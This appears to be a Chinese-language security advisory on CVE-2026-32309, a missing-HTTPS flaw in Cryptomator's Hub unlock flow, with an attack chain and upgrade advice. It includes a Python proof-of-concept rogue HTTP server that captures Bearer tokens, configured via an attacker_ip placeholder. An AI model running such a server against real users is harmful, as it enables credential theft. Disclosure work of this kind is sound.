IPBUF安全漏洞报告
English
CVE-2026-32309 CVSS 7.5 高危

CVE-2026-32309 Cryptomator HTTPS强制缺失漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32309
漏洞类型
中间人攻击
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cryptomator

相关标签

中间人攻击信息泄露HTTPS降级CryptomatorCVE-2026-32309

漏洞概述

Cryptomator在1.19.1版本之前的Hub解锁流程中存在安全漏洞,未强制执行HTTPS加密连接。攻击者可利用该漏洞通过不安全的HTTP协议拦截OAuth流量和密钥加载数据,导致Bearer令牌泄露或被篡改,从而窃取敏感信息。

技术细节

该漏洞源于Cryptomator在处理基于Hub的解锁流程时,从保险库元数据中消费Hub端点信息未强制验证HTTPS协议。这允许配置文件指定`hub+http`或不安全的端点组合。当用户解锁保险库时,OAuth认证和密钥加载的敏感流量将通过明文HTTP传输。虽然保险库密钥可能已加密,但Bearer令牌和端点信任决策仍暴露给网络攻击者。处于同一网络的攻击者可通过中间人攻击(MITM)降级连接协议,拦截并观察流量,进而获取认证凭据或篡改数据。

攻击链分析

STEP 1
侦察
攻击者识别网络中使用Cryptomator < 1.19.1的目标,并寻找配置篡改或流量拦截的机会。
STEP 2
配置篡改/流量拦截
攻击者修改受害者的保险库配置文件,将Hub端点指向攻击者控制的HTTP服务器;或者在网络层进行ARP欺骗等中间人攻击。
STEP 3
触发漏洞
受害者尝试解锁保险库,Cryptomator客户端发起请求。由于未强制HTTPS,请求通过明文HTTP发送至攻击者控制的服务器或被拦截。
STEP 4
信息窃取
攻击者捕获请求中的Bearer令牌和端点信任信息,利用这些凭据冒充用户或进一步解密数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import http.server import socketserver # This script sets up a rogue HTTP server to simulate an interception point. # In a real attack scenario, the victim's vault config would be modified to point to this server. class RogueHubHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): print(f"[+] Intercepted request path: {self.path}") print(f"[+] Headers received:") for header, value in self.headers.items(): print(f" {header}: {value}") # Look for Authorization tokens if 'authorization' in header.lower() or 'token' in header.lower(): print(f" [!] SENSITIVE TOKEN FOUND: {value}") # Send a fake response to keep the connection alive or trigger specific behavior self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(b'{"status": "intercepted"}') if __name__ == "__main__": PORT = 8080 with socketserver.TCPServer(("0.0.0.0", PORT), RogueHubHandler) as httpd: print(f"[*] Rogue HTTP Hub listening on port {PORT}...") print(f"[*] Configure Cryptomator vault to use http://<attacker_ip>:{PORT}") httpd.serve_forever()

影响范围

Cryptomator < 1.19.1

防御指南

临时缓解措施
建议用户立即将Cryptomator升级到1.19.1或更高版本。在未升级前,应避免在不可信网络(如公共Wi-Fi)中使用Hub解锁功能,并手动检查保险库配置文件,确保Hub地址使用https://协议,拒绝http://连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表